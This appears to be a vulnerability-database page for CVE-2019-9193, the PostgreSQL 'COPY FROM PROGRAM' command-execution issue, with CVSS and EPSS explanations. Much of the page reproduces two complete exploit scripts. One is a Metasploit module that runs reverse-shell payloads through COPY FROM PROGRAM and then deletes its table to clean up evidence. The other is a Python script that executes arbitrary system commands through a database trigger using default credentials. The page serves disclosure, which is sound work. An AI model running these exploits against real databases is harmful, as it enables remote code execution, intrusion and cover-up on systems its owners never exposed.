CVE-2019-9193 : Detail

CVE-2019-9193

7.2
/
High
OS Command Injection
A03-Injection
97.37%V3
Network
2019-03-31
22h00 +00:00
2024-11-15
15h13 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.2 HIGH CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46813

Publication date : 2019-05-07 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

\## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/postgres' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution', 'Description' => %q( Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY. This allows arbitrary command execution as though you have console access. This module attempts to create a new table, then execute system commands in the context of copying the command output into the table. This module should work on all Postgres systems running version 9.3 and above. For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload or other customised command. ), 'Author' => [ 'Jacob Wilkin' # Exploit Author of Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-9193'], ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'], ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)' ], 'PayloadType' => 'cmd', 'Platform' => %w(linux unix win osx), 'Payload' => { }, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/OSX/Linux', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_perl' } } ],[ 'Windows - PowerShell (In-Memory)', { 'Platform' => 'windows', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell_reverse_tcp' } } ],[ 'Windows (CMD)', 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'adduser, generic' } } ], ], 'DisclosureDate' => 'Mar 20 2019' )) register_options([ Opt::RPORT(5432), OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]), OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false]) ]) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end # Return the datastore value of the same name # @return [String] tablename for table to use with command execution def tablename datastore['TABLENAME'] end def check vuln_version? ? CheckCode::Appears : CheckCode::Safe end def vuln_version? version = postgres_fingerprint return false unless version[:auth] vprint_status version[:auth].to_s version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first if Gem::Version.new(version_full) >= Gem::Version.new('9.3') return true else return false end end def login_success? status = do_login(username, password, database) case status when :noauth print_error "#{peer} - Authentication failed" return false when :noconn print_error "#{peer} - Connection failed" return false else print_status "#{peer} - #{status}" return true end end def execute_payload # Drop table if it exists query = "DROP TABLE IF EXISTS #{tablename};" drop_query = postgres_query(query) case drop_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} dropped successfully" else print_error "#{peer} - Unknown" return false end # Create Table query = "CREATE TABLE #{tablename}(filename text);" create_query = postgres_query(query) case create_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} created successfully" else print_error "#{peer} - Unknown" return false end # Copy Command into Table cmd_filtered = payload.encoded.gsub("'", "''") query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';" copy_query = postgres_query(query) case copy_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/ print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group' return false end print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)" else print_error "#{peer} - Unknown" return false end if datastore['DUMP_TABLE_OUTPUT'] # Select output from table for debugging query = "SELECT * FROM #{tablename};" select_query = postgres_query(query) case select_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} contents:\n#{select_query}" return true else print_error "#{peer} - Unknown" return false end end # Clean up table evidence query = "DROP TABLE IF EXISTS #{tablename};" drop_query = postgres_query(query) case drop_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} dropped successfully(Cleaned)" else print_error "#{peer} - Unknown" return false end end def do_login(user, pass, database) begin password = pass || postgres_password result = postgres_fingerprint( db: database, username: user, password: password ) return result[:auth] if result[:auth] print_error "#{peer} - Login failed" return :noauth rescue Rex::ConnectionError return :noconn end end def exploit #vuln_version doesn't seem to work #return unless vuln_version? return unless login_success? print_status("Exploiting...") if execute_payload print_status("Exploit Succeeded") else print_error("Exploit Failed") end postgres_logout if @postgres_conn end end
Exploit Database EDB-ID : 51247

Publication date : 2023-04-04 22h00 +00:00
Author : Paulo Trindade
EDB Verified : No

# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated) # Date: 2023-02-01 # Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon # Github: https://github.com/paulotrindadec/CVE-2019-9193 # Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu # Tested on: Red Hat Enterprise Linux Server 7.9 # CVE: CVE-2019–9193 #!/usr/bin/python3 import sys import psycopg2 import argparse def parseArgs(): parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution') parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]') parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]') parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]') parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]') parser.add_argument('-c', '--command', nargs='?', help='System command to run') args = parser.parse_args() return args def main(): try: # Variables RHOST = args.ip RPORT = args.port USER = args.user PASS = args.password print(f"\r\n[+] Connect to PostgreSQL - {RHOST}") con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS) if (args.command): exploit(con) else: print ("[!] Add argument -c [COMMAND] to execute system commands") except psycopg2.OperationalError as e: print("Error") print ("\r\n[-] Failed to connect with PostgreSQL") exit() def exploit(con): cur = con.cursor() CMD = args.command try: print('[*] Running\n') cur.execute("DROP TABLE IF EXISTS triggeroffsec;") cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;") cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;") cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;") cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);") cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd() RETURNS TRIGGER LANGUAGE plpgsql AS $BODY$ BEGIN COPY triggeroffsec (cmdout) FROM PROGRAM %s; RETURN NULL; END; $BODY$; """,[CMD,] ) cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);") cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd AFTER INSERT ON triggeroffsecsource FOR EACH STATEMENT EXECUTE PROCEDURE triggeroffsecexeccmd(); """) cur.execute("INSERT INTO triggeroffsecsource VALUES (2);") cur.execute("TABLE triggeroffsec;") con.commit() returncmd = cur.fetchall() for result in returncmd: print(result) except (Exception, psycopg2.DatabaseError) as error: print(error) finally: if con is not None: con.close() #print("Closed connection") if __name__ == "__main__": args = parseArgs() main()

Products Mentioned

Configuraton 0

Postgresql>>Postgresql >> Version From (including) 9.3 To (including) 11.2

References